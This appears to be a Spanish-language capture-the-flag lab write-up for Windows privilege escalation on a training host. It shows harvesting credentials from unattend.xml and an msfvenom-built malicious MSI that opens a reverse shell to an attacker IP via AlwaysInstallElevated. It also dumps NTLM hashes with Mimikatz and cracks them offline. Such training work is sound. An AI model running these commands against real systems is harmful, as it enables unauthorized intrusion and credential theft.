Como complemento a su prueba de penetración anual, la organización INLANEFREIGHT le ha solicitado que realice una revisión de seguridad de su imagen dorada estándar de Windows 10, actualmente en uso por más de 1200 empleados en todo el mundo. El nuevo CISO teme que no se hayan seguido las mejores prácticas al establecer la línea base de la imagen, y que la compilación pueda contener uno o más vectores de escalada de privilegios locales. Sobre todo, el CISO desea proteger la infraestructura interna de la empresa, garantizando que un atacante que acceda a una estación de trabajo (por ejemplo, mediante un ataque de phishing) no pueda escalar privilegios ni usar ese acceso para desplazarse lateralmente por la red. Debido a los requisitos regulatorios, los empleados de INLANEFREIGHT no tienen privilegios de administrador local en sus estaciones de trabajo.
Se le ha otorgado una cuenta de usuario estándar con acceso RDP a una copia de una estación de trabajo Windows 10 estándar sin acceso a internet. El cliente solicita una evaluación lo más completa posible (probablemente contratará a su empresa para probar o intentar eludir los controles EDR en el futuro); por lo tanto, Defender se ha desactivado. Debido a las regulaciones, no pueden permitir el acceso a internet al host, por lo que deberá transferir las herramientas usted mismo.
Enumere el host por completo e intente escalar privilegios al acceso de nivel de administrador/SYSTEM.
Objetivo: 10.129.43.33
RDP con usuario "htb-student" y contraseña "HTB_@cademy_stdnt!"
Ya que estamos ante una máquina Windows crearemos un disco compartido con nuestra máquina Kali Linux para facilitarnos el envío de herramientas:
Encuentra las credenciales en plano para la cuenta de administrador del dominio iamtheadministrator.
No tenemos Powershell como admin, por lo que usaremos la cuenta standard.
Enumeración de Administradores
c:\Users\Public> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
mrb3n
wksadmin
Credential Hunting
Buscando archivos unattend.xml encontramos las credenciales del usuario iamtheadministrator:
PS C:\Users\Public> type C:\Windows\Panther\unattend.xml <!--*************************************************
Installation Notes
Location: HQ
Notes: OOB installer for Inlanefreight Windows 10 systems.
**************************************************-->
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
<settings pass="windowsPE">
<FullName>INLANEFREIGHT\iamtheadministrator</FullName>
<Organization>INLANEFREIGHT</Organization>
<Password>
<Value>Inl@n3fr3ight_************</Value>
<PlainText>true</PlainText>
Pregunta 2
Escala privilegios a SYSTEM y envía el contenido del archivo flag.txt en el Escritorio del Administrador
Comprobar privilegios del usuario
PS C:\Users\Public> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Nuestra enumeración nos muestra que la key AlwaysInstallElevated existe, por lo que la política está habilitada en el sistema de destino.
Generar binario msi malicioso
Para explotar esto generemos un binario malicioso aie.msi que pueda usarse para obtener una conexión de reverse shell de Meterpreter desde nuestro objetivo.
afsh4ck@kali$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.179 lport=9443 -f msi > aie.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytes
Envio a la máquina
afsh4ck@kali$ $ cp aie.msi /tmp
Abrir listener de Netcat
afsh4ck@kali$ nc -lvnp 9443
listening on [any] 9443 ...
Ejecutar aie.msi malicioso
Moveremos el binario a C:\Users\Public para ejecutarlo:
afsh4ck@kali$ nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.160.169] 49752
Microsoft Windows [Version 10.0.18363.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Acceso a la flag
C:\Windows\system32> cd c:/Users/administrator/Desktop
cd c:/Users/administrator/Desktop
c:\Users\Administrator\Desktop> dir
dir
Volume in drive C has no label.
Volume Serial Number is 823E-9601
Directory of c:\Users\Administrator\Desktop
08/08/2021 07:17 PM <DIR> .
08/08/2021 07:17 PM <DIR> ..
06/07/2021 12:10 PM 28 flag.txt
1 File(s) 28 bytes
2 Dir(s) 5,776,863,232 bytes free
c:\Users\Administrator\Desktop> type flag.txt
el3vatEd_1nstall$_********
Pregunta 3
Hay un usuario administrador local deshabilitado en este sistema con una contraseña débil que podría usarse para acceder a otros sistemas de la red y que conviene informar al cliente. Tras aumentar los privilegios, recupera el hash NTLM de este usuario y crackealo sin conexión. Envía la contraseña en texto plano de esta cuenta.
Enviamos Mimikatz al objetivo y lo ejecutamos desde la Shell SYSTEM:
User : Administrator
Hash NTLM: 7796ee39fd3a9c3a1844556115******
User : mrb3n
Hash NTLM: 7796ee39fd3a9c3a1844556115******
User : WDAGUtilityAccount
Hash NTLM: aad797e20ba0675bbcb3e3df33******
User : wksadmin
Hash NTLM: 5835048ce94ad0564e29a924a0******
Vamos a guardar los 3 hashes en un archivo hashes.txt y a crackearlo con John:
john --format=NT hashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
pa******** (?)
Obtenemos la contraseña en plano para el usuario Administrator y mrb3n, ya que es el mismo hash!